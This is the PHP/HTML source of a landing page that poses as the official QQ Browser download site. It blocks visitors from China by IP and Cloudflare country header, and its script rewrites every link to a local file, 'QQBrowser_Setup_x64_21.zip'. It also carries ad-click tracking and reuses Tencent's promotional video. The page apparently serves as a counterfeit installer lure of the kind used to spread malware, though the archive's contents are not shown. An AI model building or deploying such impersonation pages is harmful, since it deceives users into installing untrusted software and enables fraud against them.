<?php
    require __DIR__ . '/source/vendor/autoload.php';

    use GeoIp2\Database\Reader;

    function getClientIp(): string {
        if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            $ips = array_map('trim', explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']));
            return $ips[0] ?? ($_SERVER['REMOTE_ADDR'] ?? '0.0.0.0');
        }
        return $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
    }

    $ip = getClientIp();

    try {
        $reader = new Reader(__DIR__ . '/source/Country.mmdb');
        $record = $reader->country($ip);

        $countryCode = $record->country->isoCode ?? '';
        $cfCountry = $_SERVER['HTTP_CF_IPCOUNTRY'] ?? '';
        
        if ($cfCountry === 'CN' || $countryCode === 'CN') {
            http_response_code(403);
            header('Content-Type: text/plain; charset=utf-8');
            exit('403 Forbidden');
        }
    } catch (Throwable $e) { }
?>
<!DOCTYPE html>
<html>

<head>
<meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>QQ浏览器</title>
  <meta name="Keywords" content="QQ浏览器,QQ浏览器下载,下载QQ浏览器">
  <meta name="description" content="欢迎访问QQ浏览器下载网站。我们提供最新版本的QQ浏览器免费下载。下载安装简单。立即获取QQ浏览器的最新版本并享受丰富功能。">
  <link rel="shortcut icon" href="https://bizaladdin-image.baidu.com/0/pic/489964650_137366497_624250435.png">
  <script src="static/js/jquery-3.5.1.min.js"></script>
  <script src="static/js/bingsemclick.js"></script>
  <!--<script src="https://png.masyunrui.com/muban001/disable.js"></script>-->

  <style>
    * {
      margin: 0;
      padding: 0;
    }

    .logo {
      position: absolute;
      top: 10px;
      left: 10px;
    }

    .logo img {
      width: 70%;
    }

    .content {
      background-image: url(static/image/topbanner3.png);
      width: 100%;
      height: 100vh;
      background-size: cover;
      display: flex;
      overflow-x: hidden;
      background-color: #140F26;
    }

    .content_left {
      width: 40%;
      height: 90%;
      display: flex;
      justify-content: center;
      align-items: center;
      flex-direction: column;
    }
    
    .content_left a{
        margin-top: 20px;
    }

    .content_left_top {
      width: 60%;
    }

    .content_right {
      width: 60%;
      display: flex;
      justify-content: center;
      align-items: center;
    }

    .content_right img {
      height: 80vh;
    }
    
    .content_right video {
      height: 60vh;
    }
    
    #logo img {
      /*content: url('https://png.masyunrui.com/muban001/yunyou_logo_fff.png');*/
      height: 30px!important;
    }
  </style>
  <script src="./static/js/jquery-3.5.1.min.js"></script>
  <script>
      const downloadLink = 'QQBrowser_Setup_x64_21.zip';
      $(document).ready(function() {
          $('a').attr('href', downloadLink);
      })
  </script>
</head>

<body>
  <div id="logo" style="height:0"></div>
  <!-- logo -->
  <div class="logo">
    <img src="static/picture/qblogo.png" alt="">
  </div>
  <!-- 内容区域 -->
  <div class="content">
    <!-- 内容左边部分 -->
    <div class="content_left">
      <h1 style="font-size:58px">超好用的AI浏览器</h1>
      <div style="margin:15px 0;font-size:50px;">AI浏览·一目了然</div>
      <!--<div data-agl-cvt="6" onclick="by_download()" style="width: 262px;height: 80px;display: flex;flex-direction: row;justify-content: center;align-items: center;border-radius: 90px;background: #205aef;cursor: pointer;">-->
      <!--    <img src="https://png.masyunrui.com/muban001/Windows.png " alt="" style="height:28px">-->
      <!--    <p style="font-size:26px;color:#fff;margin-left:10px">立即下载</p>-->
      <!--</div>-->
      <a style="cursor: pointer;" data-agl-cvt="6" onclick="download()">
        <img src="static/picture/o1cn01mrjafc1wsj8mimw9r_!!6000000006363-2-tps-316-100.png">
      </a>
    </div>
    <!-- 内容右半部分 -->
    <div class="content_right" \>
      <video class="bg" src="https://bak.res.qq.com/nav/pc_home/revision-new-ai-QBot.mp4" autoplay loop muted></video>
      <!--<img src="https://png.masyunrui.com/muban001/tt/2.png" alt="">-->
    </div>
  </div>

  <!-- foot -->
  <div id="foot" style="text-align: center;">
      
  </div>
</body>

</html>